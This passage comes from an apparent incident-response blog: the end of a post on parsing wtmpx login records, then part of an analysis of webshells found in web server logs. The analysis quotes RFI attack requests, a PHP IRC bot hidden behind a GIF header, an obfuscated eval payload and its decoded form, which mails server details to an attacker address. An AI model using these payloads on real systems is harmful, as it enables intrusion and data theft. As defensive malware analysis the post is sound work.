<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>#!/usr/bin/env python
</span><span class='line'>
</span><span class='line'>import struct
</span><span class='line'>import sys
</span><span class='line'>import datetime
</span><span class='line'>
</span><span class='line'>def type(x):
</span><span class='line'>  return {
</span><span class='line'>  0: 'EMPTY',
</span><span class='line'>  1: 'RUN_LVL',
</span><span class='line'>  2: 'BOOT_TIME',
</span><span class='line'>  3: 'NEW_TIME',
</span><span class='line'>  4: 'OLD_TIME',
</span><span class='line'>  5: 'INIT_PROCESS',
</span><span class='line'>  6: 'LOGIN_PROCESS',
</span><span class='line'>  7: 'USER_PROCESS',
</span><span class='line'>  8: 'DEAD_PROCESS',
</span><span class='line'>  9: 'ACCOUNTING'
</span><span class='line'>  }.get(x, 'UNKNOWN')
</span><span class='line'>
</span><span class='line'>data = open(sys.argv[1], 'rb')
</span><span class='line'>while True:
</span><span class='line'>  chunk = data.read(372)
</span><span class='line'>  if not chunk:
</span><span class='line'>    break
</span><span class='line'>  s = struct.Struct('&gt;32s 4s 32s i H H H b b I I I 5I H 257s b')
</span><span class='line'>  unpacked = s.unpack(chunk)
</span><span class='line'>  #TODO: timezone
</span><span class='line'>  timestamp = datetime.datetime.fromtimestamp(int(unpacked[9])).strftime('%Y-%m-%d %H:%M:%S')
</span><span class='line'>  print(str(unpacked[0]) + '\t' + str(unpacked[3]) + '\t' + str(unpacked[2]) + '\t' + str(timestamp) + '\t' + str(unpacked[18]) + '\t' + type(unpacked[4]))</span></code></pre></td></tr></table></div></figure>


<p>Now it&rsquo;s time to see this code in action. My script takes only a single file as an argument so I use the following command line kung-fu to
parse all files (in this case single <em>wtmpx</em> entries) at once and sort by the timestamp:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>elceef@cerebellum:~$ for i in $(ls *.wtmpx); do readutmpx.py $i; done | tr -d '\000' | sort -k 4
</span><span class='line'>nagios    257138  pts/1   2015-02-14 04:12:35 10.212.6.160    USER_PROCESS
</span><span class='line'>nagios    257138  pts/1   2015-02-14 04:12:35 10.212.6.160    USER_PROCESS
</span><span class='line'>nagios    257138  pts/1   2015-02-14 04:15:35     DEAD_PROCESS
</span><span class='line'>nagios    257138  pts/1   2015-02-14 04:15:35     DEAD_PROCESS
</span><span class='line'>nagios    112896  pts/1   2015-07-02 17:27:23 10.200.125.142  USER_PROCESS
</span><span class='line'>nagios    112896  pts/1   2015-07-02 17:27:23 10.200.125.142  USER_PROCESS
</span><span class='line'>nagios    112896  pts/1   2015-07-02 17:32:32     DEAD_PROCESS
</span><span class='line'>nagios    112896  pts/1   2015-07-02 17:32:32     DEAD_PROCESS</span></code></pre></td></tr></table></div></figure>


<p>Works like a charm! But there is still area for improvement. This code does not convert the time to the correct time zone. Take this
into account before building a timeline.</p>

<h3>Happy end</h3>

<p>Solving this case would not be possible without this promising technique. The compromised system was configured to keep track of only
unsuccessful authentication attempts leaving <em>wtmpx</em> records as the only reliable source of information about the origin of the attack. The
person responsible for the destruction of this system was too confident - deleting all files is not enough to cover all tracks. Now
personal details of this individual are known and the case is closed. Cheers!</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Webshells - every time the same purpose, every time a different story... (part 1)]]></title>
    <link href="http://dfir.it/blog/2015/08/12/webshell-every-time-the-same-purpose/"/>
    <updated>2015-08-12T11:13:40+02:00</updated>
    <id>http://dfir.it/blog/2015/08/12/webshell-every-time-the-same-purpose</id>
    <content type="html"><![CDATA[<p>It’s nothing new to say that every moment hundreds of thousands requests with malicious payloads are hitting web servers around the world with bad intentions. Probably you’ve seen it many times in many different forms. I would like to take a deeper look at some of them: webshells.</p>

<!--more-->


<p>These attacks are really common nowadays because of the nature of the Internet. Millions of web servers seems to be attractive targets for attackers. When you think about the role of the web servers in the organizations then the attractiveness of such targets is even greater.</p>

<h3>Intro - before you start testing your luck</h3>

<p>Over the years the Internet has changed. Web servers are not only responsible for displaying simple private or business websites. <a href="http://redmonk.com/dberkholz/2014/05/02/github-language-trends-and-the-fragmenting-landscape/">Development of languages</a> such as JavaScript, PHP, Python or Ruby have already begun to play a significant role in business applications, online shops, internet entertainment, blogs or others. Those applications are often created using off the shelf products accessible to the rest of the world which results in numerous <a href="https://www.owasp.org/index.php/Top_10_2013-Top_10">vulnerabilities</a>. Who didn&rsquo;t hear for instance about another vulnerability in Wordpress or phpBB recently? Such popular web applications have become the main target for the groups trying to build their botnets or spread malware. When another 0-day is published, the attackers try to obtain access to victim machines on a large scale. They start massive <a href="http://blog.level3.com/security/what-should-we-learn-from-shellshock-an-internet-perspective/">scanning for vulnerabilities</a> as long and wide the Internet is. Some of attacks aimed at the web servers, can be more severe if web server become a gateway to the internal infrastructure - more on that later.</p>

<h3>First act - try and you might get lucky today</h3>

<p>I’m going to present three different examples how attackers try to bypass security measures and upload webshells on target systems - including RFI <a href="https://en.wikipedia.org/wiki/File_inclusion_vulnerability">(Remote File Inclusion)</a>  and  <a href="https://en.wikipedia.org/wiki/SQL_injection">SQL injection</a>.</p>

<h4>Hiding webshell code inside the well-known file format</h4>

<p>Below is a log entry presenting an attempt to execute code using RFI vulnerability.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>Path:
</span><span class='line'>GET /B<span class="o">=</span>1<span class="p">&amp;</span><span class="nv">From</span><span class="o">=</span>remotelogi‌n.php<span class="p">&amp;</span><span class="nv">L</span><span class="o">=</span>hebrew<span class="p">&amp;</span>Last‌Check<span class="o">=</span>http://sxxxxxxo.no/byroe.jpg??
</span><span class='line'>Source IP: 185.X.X.53
</span><span class='line'>GEO: MADRID ES , Onestic_Innovacion_y_Desarrollo_SL , singularcomputer.es
</span></code></pre></td></tr></table></div></figure>


<p>Many of the common RFI exploit scripts, as well as attack payloads sent by hackers append the <code>?</code> symbol to the included (malicious) URL. In order to avoid the issues with developer supplied strings appended to the URL by the application. It is similar to SQL injection utilizing comment specifiers (<code>--</code>, <code>;--</code> or <code>#</code>) at the end of their payloads.</p>

<p>Attacker tried to trick the web application to include a JPG file from the remote server. Is it really a JPG image? Let’s take a closer look:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>0000000: <span class="m">4749</span> <span class="m">4638</span> <span class="m">3961</span> 013f 013f 3f3f 3f3f 3f3f  GIF89a.?.???????
</span><span class='line'>0000010: 3f3f 3f21 3f04 013f 3f3f 3f2c 3f3f 3f3f  ???!?..????,????
</span><span class='line'>0000020: 013f 013f 3f44 013f 3b3f 3c3f 0d0a 0d0a  .?.??D.?<span class="p">;</span>?&lt;?....
</span><span class='line'>0000030: <span class="m">7365</span> 745f <span class="m">7469</span> 6d65 5f6c 696d <span class="m">6974</span> <span class="m">2830</span>  set_time_limit<span class="o">(</span>0
</span><span class='line'>0000040: 293b 200d 0a65 <span class="m">7272</span> 6f72 5f72 <span class="m">6570</span> 6f72  <span class="o">)</span><span class="p">;</span> ..error_repor
</span><span class='line'>0000050: <span class="m">7469</span> 6e67 <span class="m">2830</span> 293b 200d 0a0d 0a63 6c61  ting<span class="o">(</span>0<span class="o">)</span><span class="p">;</span> ....cla
</span></code></pre></td></tr></table></div></figure>


<p>As you can see above, it’s not an image at all - although it contains a valid GIF file header. Trustwave has an interesting <a href="https://www.trustwave.com/Resources/SpiderLabs-Blog/Hiding-Webshell-Backdoor-Code-in-Image-Files/">blog post</a> that provides more details on how attackers can hide malicious code in the image files. Let’s analyze the beginning of the PHP code:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>GIF89a^A?^A??????????!?^D^A????,????^A?^A??D^A?<span class="p">;</span>?&lt;?
</span><span class='line'>
</span><span class='line'>set_time_limit<span class="o">(</span>0<span class="o">)</span><span class="p">;</span>
</span><span class='line'>error_reporting<span class="o">(</span>0<span class="o">)</span><span class="p">;</span>
</span><span class='line'>
</span><span class='line'>class pBot
</span><span class='line'><span class="o">{</span>
</span><span class='line'>var <span class="nv">$config</span> <span class="o">=</span> array<span class="o">(</span><span class="s2">&quot;server&quot;</span><span class="o">=</span>&gt;<span class="s2">&quot;irc.malink.biz&quot;</span>,
</span><span class='line'>                  <span class="s2">&quot;port&quot;</span><span class="o">=</span>&gt;<span class="s2">&quot;6667&quot;</span>,
</span><span class='line'>                  <span class="s2">&quot;pass&quot;</span><span class="o">=</span>&gt;<span class="s2">&quot;on&quot;</span>, //senha <span class="k">do</span> server
</span><span class='line'>                  <span class="s2">&quot;prefix&quot;</span><span class="o">=</span>&gt;<span class="s2">&quot;MalinK-&quot;</span>,
</span><span class='line'>                  <span class="s2">&quot;maxrand&quot;</span><span class="o">=</span>&gt;3,
</span><span class='line'>                  <span class="s2">&quot;chan&quot;</span><span class="o">=</span>&gt;<span class="s2">&quot;#maza&quot;</span>,
</span><span class='line'>                  <span class="s2">&quot;key&quot;</span><span class="o">=</span>&gt;<span class="s2">&quot;on&quot;</span>, //senha <span class="k">do</span> canal
</span><span class='line'>                  <span class="s2">&quot;modes&quot;</span><span class="o">=</span>&gt;<span class="s2">&quot;+p&quot;</span>,
</span><span class='line'>                  <span class="s2">&quot;password&quot;</span><span class="o">=</span>&gt;<span class="s2">&quot;on&quot;</span>,  //senha <span class="k">do</span> bot
</span><span class='line'>                  <span class="s2">&quot;trigger&quot;</span><span class="o">=</span>&gt;<span class="s2">&quot;.&quot;</span>,
</span><span class='line'>                  <span class="s2">&quot;hostauth&quot;</span><span class="o">=</span>&gt;<span class="s2">&quot;Tukang.sapu &quot;</span> // * <span class="k">for</span> any hostname
</span><span class='line'>                  <span class="o">)</span><span class="p">;</span>
</span><span class='line'>var <span class="nv">$users</span> <span class="o">=</span> array<span class="o">()</span><span class="p">;</span>
</span><span class='line'><span class="k">function</span> start<span class="o">()</span>
</span><span class='line'><span class="o">{</span>
</span><span class='line'>...
</span></code></pre></td></tr></table></div></figure>


<p>Class <code>pBot</code> defines an array with all the config information. Probably <code>server</code> and <code>port</code> fields caught your attention as it provides information about C&amp;C that potential bot will be trying to communicate to. Before we check what is behind the <code>irc.malink.biz</code>, I would like to know something more about domain <code>malink.biz</code> itself. Using <a href="http://passivetotal.com">Passivetotal</a> service we can check the history of that domain and actual <a href="http://whois.icann.org/en">whois</a> records.</p>

<p><img class="center" src="http://dfir.it/images/webshell-every-time-the-same-purpose-part1/malink.png" title="malink.biz" alt="malink.biz"></p>

<p>Owner from USA with all personal data  available?! Is this what you would expect from suspicious domain? Maybe a homepage will give us some answers&hellip;</p>

<p><img class="center" src="http://dfir.it/images/webshell-every-time-the-same-purpose-part1/nothing_secure.png"></p>

<p><code>nothingsecure</code>&hellip;OK, now it seems to be more logical :) Info from IRC is also giving clear answer about intentions:</p>

<p><img class="center" src="http://dfir.it/images/webshell-every-time-the-same-purpose-part1/irc_malink.png"></p>

<p>Ok, so let’s take another step forward and focus on <code>irc.malink.biz</code>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>irc.malink.biz.       <span class="m">14384</span>    IN    A    195.30.107.222
</span><span class='line'>irc.malink.biz.        <span class="m">14384</span>    IN    A    109.74.203.175
</span><span class='line'>irc.malink.biz.        <span class="m">14384</span>    IN    A    167.114.67.197
</span><span class='line'>irc.malink.biz.        <span class="m">14384</span>    IN    A    167.114.68.120
</span></code></pre></td></tr></table></div></figure>


<p>They care about failover ;)</p>

<p>To sum up geo - server in Paris received a crafted request from host in Madrid with a link to the domain <code>sxxxxxxo.no</code> (Columbus, OH) to download a file <code>byroe.jpg</code> with embedded webshell. Inside of the file, we found IRC server <code>irc.malink.biz</code> which resolves to more than one IP - load balancing DNS records using round robin method (Germany, UK, Canada).</p>

<p><img class="center" src="http://dfir.it/images/webshell-every-time-the-same-purpose-part1/geo.png"></p>

<p>How does it look like ? :)</p>

<p><a href="http://virustotal.com">Virustotal</a> confirms AV detection rates seems not too bad. At this point, it’s worth to mention that it’s NOT good to upload any files to VT as a first step of the analysis. Start with <a href="https://en.wikipedia.org/wiki/Open-source_intelligence">OSINT</a> research. For example, before you upload the file, check if file’s hash is not already stored in VT database. Sharing  potentially malicious files (remember that VT database is public!) might warn an attacker and give him a chance <a href="http://jcsocal.blogspot.com/2012/12/malware-analysis-1-protip.html">react quickly</a>.</p>

<p><img class="center" src="http://dfir.it/images/webshell-every-time-the-same-purpose-part1/virustot1_byroe.png"></p>

<p><img class="center" src="http://dfir.it/images/webshell-every-time-the-same-purpose-part1/virustot2_byroe.png"></p>

<p>Images are not the only way how attackers try to bypass the WAF.</p>

<h4>Hiding webshell using code obfuscation</h4>

<p>The attackers might try to hide their intentions by encoding and compressing the malicious code. This allow to bypass some of the filters and signatures used by WAFs. Another RFI attack:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>Path: GET /src<span class="o">=</span>http%3A%2F%2Fim‌g.youtube.com.vxxxxxxxd.org%2Fmyluph.php
</span><span class='line'>Source IP: 93.X.X.206
</span><span class='line'>CEO: AMSTERDAM NL , Digital_Residence_B.V. , curhosting.com
</span></code></pre></td></tr></table></div></figure>


<p>Content of the suspicious file:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>&lt;?php <span class="nb">eval</span><span class="o">(</span>gzinflate<span class="o">(</span>str_rot13<span class="o">(</span>base64_decode<span class="o">(</span><span class="s1">&#39;rUp6Yts2EP68APkPDHhANppV7pZvg3B7zRxsZNvYmeUMA5JAoCTacyORglXF8YL89x0pyS/Ny9KiToDY9/rcw+MdULNZcX5TRpEpxnT1c+N1aodaRH2PVlZIveZ7rucNU8NYKyBfyI1o3XX8Z7+7RrtykqlD5FyhDneCRnpOA/ioHcZ/u+NYfDqZnPunI2KCr7Wa8S9b6rH714XrWvyL8aAwCFG0BAtZIoKWhM8Qa9BDoSuuUHh/rM0kmdKkGUQw/cA483SA0tJPPxERtUn4SoYNZ1+TNMwzppYQ3jvuu/7Z6MSFAKN+Hx897O7QS9IXrIZgcUXTLKVMBzLOhUfBkpOE1koVTMVf//jkcQw0lTXTGyUyCPKc09g9G1rcDaeEsLiOgXuREX7YPPww0xI7FAneVNiwhPfxKZEsU3/oIyEczZVXW45G8QSMSKVc8cE58nVpWDWIsoIrjkA6MPSKDMQVQXlDPzry8oTXUT2ya/vWMMSm9ap6/mcnl0kYC0Foy+iOkSLPT7rZA5bXGw/OJ35/8NkdHp+5lumDiFfFQ3R6aDLqXZy5w4k/Ho0m1rWNnVJtkIpR2Ok81T2R0YLUIsM+Kk80Csg/sG5Nr3eYSdEwYBTOBcJ6xUdZu4GY0RgdIG2XxoKptkaI207W1SWUtkYB91ayf3bnFxSKGA7nWr/ff++63UJHsRuCPDInAUToI4kYHD+fVviy9+oocie0EMtPO4hWa5NmaXTnEv3aeTZfH1MRBT4tJHuEZjqGirXvs/4/r/0hWhMMu9hesXTjthOsnHgg9GZ11A6ucBsOywcBnLAywm3Dxo3X5riQptacUh0TKUzCVIiwV25wNFsrdF8rN269Kp9hUFWIaHD6uXbKxmmYds5QxQRU6QKSIX0vwlJHzIdDi4pbR8s7RXJMKnFd6/ctxzKXyKj2tC6m3KgaB++0IqMqzzjSEhuMqx6935CbG03Kn1dkaPUtOcD6+SRyIlqZBZRyCVf0+AOmz/U+QMRj0MG4+zKhPZEkhFQVgXrG01whtVl2ByttpzDSHGpjmFFrW+vlTsLW+iIOU7ckzuE7/SfMFQUXVIPrTVTbYCmckYmS5LFvKcmUsTuIiCIV+KoiXdD/R2QBN55RqM9vdypktPWjguYsiigvAcsC/pbBFPxYtWFC/RWXOX8ror2Ib1UXxruFNk55xNeEFt7v3pdsOF3oDxiFMZGyo8iWUAGy1OFAregtCt6ianAzdcYurcK52g258YiYXkXp+hrs1QyOyqeEA0H3U25piV4e3qVIRG9dg50xMq2YiFvqF9F25HiD+pMuKlb9wg3WxwqNetKUYH5VKF16MVeqroDlQSM9Gh5DsUjQlt7Lw5BXiRSI7K/Dwfx3nSB8hB7MhXtRZdn3FctjWgxypTKJzMItJ1ua0e4LIx/bZUHj2KdqNKzrVXOwFVrkdV+8NV22nwHJGoIoMawV3wtOfBMGmahn9RKBzwBPH5hiFgxRgAUjbt/YDvzC8wJRRjYzD4xTBdD4er6D0Grgtm+JDm9vPQe9iBgCHLpoow+/CvqRLFZZ5uh2E2bpB8OT0RPqxZwp2h263uAYvZDgRt5pVxga2+/d3Z1pzPgNGrufbr6ejsaT3sUEDW3w2k6ncLffweUzZ7FL2GPx88TOBLQfg7fYAeMRPAUlI/oh62sJQ7+UQVGnBFOsE/h4/Yxa9eTQqWB56f8JgkyBDL92mh+t1orufw==&#39;</span><span class="o">))))</span><span class="p">;</span> ?&gt;
</span></code></pre></td></tr></table></div></figure>


<p>This is a typical example of obfuscated PHP code. It will be passed to the <a href="http://php.net/manual/pl/function.eval.php">eval()</a> function for execution, but before that it needs to be:</p>

<ul>
<li>base64 decoded</li>
<li>ROT13</li>
<li>inflated</li>
</ul>


<p>There is also a more troublesome version of this. Imagine multiple layers of obfuscated code using the same functions as presented before. Obtaining the original code requires repeated decoding, so manual work with the PHP interpreter ceases to be comfortable. In case you stumble upon such <a href="http://ddecode.com/phpdecoder/?results=c658a6e6f3d3ed37daa2eda47f2f3b0c">sample</a> then I suggest to use <code>phpdecoder</code>.</p>

<p>Here&rsquo;s the code after deobfuscation:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
<span class='line-number'>46</span>
<span class='line-number'>47</span>
<span class='line-number'>48</span>
<span class='line-number'>49</span>
<span class='line-number'>50</span>
<span class='line-number'>51</span>
<span class='line-number'>52</span>
<span class='line-number'>53</span>
<span class='line-number'>54</span>
<span class='line-number'>55</span>
<span class='line-number'>56</span>
<span class='line-number'>57</span>
<span class='line-number'>58</span>
<span class='line-number'>59</span>
<span class='line-number'>60</span>
<span class='line-number'>61</span>
<span class='line-number'>62</span>
<span class='line-number'>63</span>
<span class='line-number'>64</span>
<span class='line-number'>65</span>
<span class='line-number'>66</span>
<span class='line-number'>67</span>
<span class='line-number'>68</span>
<span class='line-number'>69</span>
<span class='line-number'>70</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>error_reporting<span class="o">(</span>0<span class="o">)</span><span class="p">;</span>
</span><span class='line'><span class="k">if</span> <span class="o">(</span>!isset<span class="o">(</span><span class="nv">$_SESSION</span><span class="o">[</span><span class="s1">&#39;bajak&#39;</span><span class="o">]))</span>    <span class="o">{</span>
</span><span class='line'><span class="nv">$visitcount</span> <span class="o">=</span> 0<span class="p">;</span>
</span><span class='line'><span class="nv">$web</span> <span class="o">=</span> <span class="nv">$_SERVER</span><span class="o">[</span><span class="s2">&quot;HTTP_HOST&quot;</span><span class="o">]</span><span class="p">;</span>
</span><span class='line'><span class="nv">$inj</span> <span class="o">=</span> <span class="nv">$_SERVER</span><span class="o">[</span><span class="s2">&quot;REQUEST_URI&quot;</span><span class="o">]</span><span class="p">;</span>
</span><span class='line'><span class="nv">$body</span> <span class="o">=</span> <span class="s2">&quot;ada yang inject \n$web$inj&quot;</span><span class="p">;</span>
</span><span class='line'><span class="nv">$safem0de</span> <span class="o">=</span> @ini_get<span class="o">(</span><span class="s1">&#39;safe_mode&#39;</span><span class="o">)</span><span class="p">;</span>
</span><span class='line'><span class="k">if</span> <span class="o">(</span>!<span class="nv">$safem0de</span><span class="o">)</span> <span class="o">{</span><span class="nv">$security</span><span class="o">=</span> <span class="s2">&quot;SAFE_MODE = OFF&quot;</span><span class="p">;</span><span class="o">}</span>
</span><span class='line'><span class="k">else</span> <span class="o">{</span><span class="nv">$security</span><span class="o">=</span> <span class="s2">&quot;SAFE_MODE = ON&quot;</span><span class="p">;</span><span class="o">}</span><span class="p">;</span>
</span><span class='line'><span class="nv">$serper</span><span class="o">=</span>gethostbyname<span class="o">(</span><span class="nv">$_SERVER</span><span class="o">[</span><span class="s1">&#39;SERVER_ADDR&#39;</span><span class="o">])</span><span class="p">;</span>
</span><span class='line'><span class="nv">$injektor</span> <span class="o">=</span> gethostbyname<span class="o">(</span><span class="nv">$_SERVER</span><span class="o">[</span><span class="s1">&#39;REMOTE_ADDR&#39;</span><span class="o">])</span><span class="p">;</span>
</span><span class='line'>mail<span class="o">(</span><span class="s2">&quot;setoran404@gmail.com&quot;</span>, <span class="s2">&quot;$body&quot;</span>,<span class="s2">&quot;Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor&quot;</span><span class="o">)</span><span class="p">;</span>
</span><span class='line'><span class="nv">$_SESSION</span><span class="o">[</span><span class="s1">&#39;bajak&#39;</span><span class="o">]</span> <span class="o">=</span> 0<span class="p">;</span>
</span><span class='line'><span class="o">}</span>
</span><span class='line'><span class="k">else</span> <span class="o">{</span><span class="nv">$_SESSION</span><span class="o">[</span><span class="s1">&#39;bajak&#39;</span><span class="o">]</span>++<span class="p">;</span><span class="o">}</span><span class="p">;</span>
</span><span class='line'><span class="k">if</span><span class="o">(</span>isset<span class="o">(</span><span class="nv">$_GET</span><span class="o">[</span><span class="s1">&#39;clone&#39;</span><span class="o">])){</span>
</span><span class='line'><span class="nv">$source</span> <span class="o">=</span> <span class="nv">$_SERVER</span><span class="o">[</span><span class="s1">&#39;SCRIPT_FILENAME&#39;</span><span class="o">]</span><span class="p">;</span>
</span><span class='line'><span class="nv">$desti</span> <span class="o">=</span><span class="nv">$_SERVER</span><span class="o">[</span><span class="s1">&#39;DOCUMENT_ROOT&#39;</span><span class="o">]</span>.<span class="s2">&quot;/wp-pomo.php&quot;</span><span class="p">;</span>
</span><span class='line'>rename<span class="o">(</span><span class="nv">$source</span>, <span class="nv">$desti</span><span class="o">)</span><span class="p">;</span>
</span><span class='line'><span class="o">}</span>
</span><span class='line'><span class="nv">$safem0de</span> <span class="o">=</span> @ini_get<span class="o">(</span><span class="s1">&#39;safe_mode&#39;</span><span class="o">)</span><span class="p">;</span>
</span><span class='line'><span class="k">if</span> <span class="o">(</span>!<span class="nv">$safem0de</span><span class="o">)</span> <span class="o">{</span><span class="nv">$security</span><span class="o">=</span> <span class="s2">&quot;SAFE_MODE : OFF&quot;</span><span class="p">;</span><span class="o">}</span>
</span><span class='line'><span class="k">else</span> <span class="o">{</span><span class="nv">$security</span><span class="o">=</span> <span class="s2">&quot;SAFE_MODE : ON&quot;</span><span class="p">;</span><span class="o">}</span>
</span><span class='line'><span class="nb">echo</span> <span class="s2">&quot;&lt;title&gt;bogel - exploit&lt;/title&gt;&lt;br&gt;&quot;</span><span class="p">;</span>
</span><span class='line'><span class="nb">echo</span> <span class="s2">&quot;&lt;font size=3 color=#FFF5EE&gt;Ketika Sahabat Jadi Bangsat !&lt;br&gt;&quot;</span><span class="p">;</span>
</span><span class='line'><span class="nb">echo</span> <span class="s2">&quot;&lt;font size=3 color=#FFF5EE&gt;Server : irc.blackunix.us 7000&lt;br&gt;&quot;</span><span class="p">;</span>
</span><span class='line'><span class="nb">echo</span> <span class="s2">&quot;&lt;font size=3 color=#FFF5EE&gt;Status : sCanneR ON&lt;br&gt;&lt;br&gt;&quot;</span><span class="p">;</span>
</span><span class='line'><span class="nb">echo</span> <span class="s2">&quot;&lt;font size=2 color=#FF0000&gt;&lt;b&gt;&quot;</span>.<span class="nv">$security</span>.<span class="s2">&quot;&lt;/b&gt;&lt;br&gt;&quot;</span><span class="p">;</span>
</span><span class='line'><span class="nv">$cur_user</span><span class="o">=</span><span class="s2">&quot;(&quot;</span>.get_current_user<span class="o">()</span>.<span class="s2">&quot;)&quot;</span><span class="p">;</span>
</span><span class='line'><span class="nb">echo</span> <span class="s2">&quot;&lt;font size=2 color=#FF0000&gt;&lt;b&gt;User : uid=&quot;</span>.getmyuid<span class="o">()</span>.<span class="nv">$cur_user</span>.<span class="s2">&quot; gid=&quot;</span>.getmygid<span class="o">()</span>.<span class="nv">$cur_user</span>.<span class="s2">&quot;&lt;/b&gt;&lt;br&gt;&quot;</span><span class="p">;</span>
</span><span class='line'><span class="nb">echo</span> <span class="s2">&quot;&lt;font size=2 color=#FF0000&gt;&lt;b&gt;Uname : &quot;</span>.php_uname<span class="o">()</span>.<span class="s2">&quot;&lt;/b&gt;&lt;br&gt;&quot;</span><span class="p">;</span>
</span><span class='line'><span class="k">function</span> <span class="nb">pwd</span><span class="o">()</span> <span class="o">{</span>
</span><span class='line'><span class="nv">$cwd</span> <span class="o">=</span> getcwd<span class="o">()</span><span class="p">;</span>
</span><span class='line'><span class="k">if</span><span class="o">(</span><span class="nv">$u</span><span class="o">=</span>strrpos<span class="o">(</span><span class="nv">$cwd</span>,<span class="s1">&#39;/&#39;</span><span class="o">)){</span>
</span><span class='line'><span class="k">if</span><span class="o">(</span><span class="nv">$u</span>!<span class="o">=</span>strlen<span class="o">(</span><span class="nv">$cwd</span><span class="o">)</span>-1<span class="o">){</span>
</span><span class='line'><span class="k">return</span> <span class="nv">$cwd</span>.<span class="s1">&#39;/&#39;</span><span class="p">;</span><span class="o">}</span>
</span><span class='line'><span class="k">else</span><span class="o">{</span><span class="k">return</span> <span class="nv">$cwd</span><span class="p">;</span><span class="o">}</span><span class="p">;</span>
</span><span class='line'><span class="o">}</span>
</span><span class='line'>elseif<span class="o">(</span><span class="nv">$u</span><span class="o">=</span>strrpos<span class="o">(</span><span class="nv">$cwd</span>,<span class="s1">&#39;\\&#39;</span><span class="o">)){</span>
</span><span class='line'><span class="k">if</span><span class="o">(</span><span class="nv">$u</span>!<span class="o">=</span>strlen<span class="o">(</span><span class="nv">$cwd</span><span class="o">)</span>-1<span class="o">){</span>
</span><span class='line'><span class="k">return</span> <span class="nv">$cwd</span>.<span class="s1">&#39;\\&#39;</span><span class="p">;</span><span class="o">}</span>
</span><span class='line'><span class="k">else</span><span class="o">{</span><span class="k">return</span> <span class="nv">$cwd</span><span class="p">;</span><span class="o">}</span><span class="p">;</span>
</span><span class='line'><span class="o">}</span><span class="p">;</span>
</span><span class='line'><span class="o">}</span>
